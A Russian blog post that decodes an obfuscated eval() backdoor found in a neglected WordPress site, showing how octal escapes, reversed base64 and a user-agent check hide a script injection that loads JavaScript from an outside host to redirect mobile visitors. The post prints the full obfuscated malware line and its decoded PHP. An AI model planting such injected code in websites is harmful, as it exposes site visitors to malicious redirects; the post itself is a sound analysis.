Я когда-то давно купил сайт на WordPress. Забросил на дешевый хостинг и позабыл благополучно. Утром сегодня решил на него ссылок повесить, открыл код, а там - страшный-страшный eval(), внутри которого неведомые цифробуквы. Ничего не понятно, но понятно, что это не к добру. Давайте прочитаем, что же там написано (разминка для php-программиста).
Вражеская строчка в коде выглядит вот так:
eval("\145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050\163\164\162\162\145\166\050'==QfgsDdphXZgsTKog2c1xmZgszJ+QHcpJ3Yz9CP+Iycq5SMucjLx0SeyVWdxp2Lt92YusmcvdXZtFmcm1SeyVWdxp2LvoDc0RHai0zYyNHI0BXayN2c8cCIvh2YlByegkSKddCVOV0RB9lUFNVVfBFVUh0JbJVRWJVRT9FJABCLnk2cvUGbn92bnxHelRmbhlHfyVWehxGctwVYpRWZt1CXzd3bk5Wa3xHZh9Gbud3bkxHduFmdhxXYjlmcl1WY8h2cvRnbpNWYt9yJog2Y0FWbfdWZyBXIgYiJgkSKddiUFJVRGVkUfBFVUh0JbJVRWJVRT9FJABCLnk2cv0Tc/wVb8h2YyFWZz12LngCajRXYt91ZlJHcgwHfgkSXnQlTFdUQfJVRTV1XQRFVIdyWSVkVSV0UfRCQgwyJpN3LlRne812bvhHfhRGe8N3clxWZyl2d8N3biV2d8BXY3xXZu9mZhR2b2x3aulGbuwFc1xnclN3dvJnYuwFc1x3c1xWZ0xXZslmYv1WL0xnbhlmYtl3c8lnbvNHfl52boBHdyFWbzxXLll2c8Bnchh2c81WZnF2c8VmbvhGc8NHcpxWaoBHfjlmbvNXYuFGc81GbhBHfhl2av5GftMWZuxXYs9mcvR3btxXai9Wb8BXbtxHcklWb8lmbp1mLhJXZw9GfhZXYqxXZtJja8R2bwlGfxFGcpxHZhBXa8VmbvhGcpxXZslmYv1WZpx3Y0hGfl5WahxWZ89WbvN2bkxHdlt2YpJ3Y8xGblNGfx5WZixXeyJXZit2YhxmY892Z05WY2FGfkl2byRmbhxXav1WY8xWZ0F2YsF2LngCajRXYt91ZlJHcgwHfgkSXnQFUFN0QB9FUURFSnslUFZlUFN1XkAEIscSaz9Cbth3KcxWb0hGeuAXY35CZuZ3Lc52bpRXYjlGbwBXY8xWb35CchdnLk5mdvwFd4VGdvcCKoNGdh12XnVmcwhCKgYWa'\051\051\051\073");
Пробуем приглядеться и замечаем, что она состоит из циферек по краям и буковок в середине. Что же это за циферки? А это - ascii-коды символов в восьмеричной системе, просто же! Отрезаем циферки и пробуем их раскодировать:
$str = '145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050\163\164\162\162\145\166\050';
foreach (explode("\\", $str) as $ch) {
echo chr(octdec($ch));
}
Получаем вот такой результат:
eval(base64_decode(strrev(
Вот и весь секрет. А циферки в конце - это, очевидно, закрывающие скобки. Берем часть вражеской строчки с буковками и выполняем то что получилось, без eval:
$str = base64_decode(strrev("[многобукв]"));
echo htmlspecialchars(print_r($str,1));
И видим код, который на самом деле исполняется:
if ((preg_match('/text\/vnd.wap.wml|application\/vnd.wap.xhtml\+xml/si', @$_SERVER['HTTP_ACCEPT']) || preg_match('/alcatel|amoi|android|avantgo|blackberry|benq|cell|cricket|docomo|elaine|htc|iemobile|iphone|ipad|ipaq|ipod|j2me|java|opera.mini|midp|mmp|mobi|motorola|nec-|nokia|palm|panasonic|philips|phone|sagem|sharp|sie-|smartphone|sony|symbian|t-mobile|telus|up\.browser|up\.link|vodafone|wap|webos|wireless|xda|xoom|zte/si', @$_SERVER['HTTP_USER_AGENT']) || preg_match('/msearch|m\?q=/si', @$_SERVER['HTTP_REFERER'])) && !preg_match('/macintosh|america|avant|download|windows\-media\-player|yandex|google/si', @$_SERVER['HTTP_USER_AGENT'])) { echo '<script src="http://jquery-framework.com/jquery-1.7.1.js"></script>'; flush(); exit; }
Ну, тут ничего выдающегося. Враги сверяют юзер-агента с регуляркой (заботливо исключив поисковики) и вставляют подключение JS-файла, который содержит перенаправление на сайт, где пользователя ждет какая-то страшная кара.
Мораль: не пользуйтесь богомерзким вордпрессом =) Если уж пользуетесь - обновляйте его. Но лучше - не пользуйтесь. Вот например Серега DrJeans, который попросил меня поставить ссылочку на сайт про бокалы и фужеры для вина, пользуется замечательной системой NetCat - берите с него пример!
Коле Дубру низачот, тема сисек в статье не раскрыта.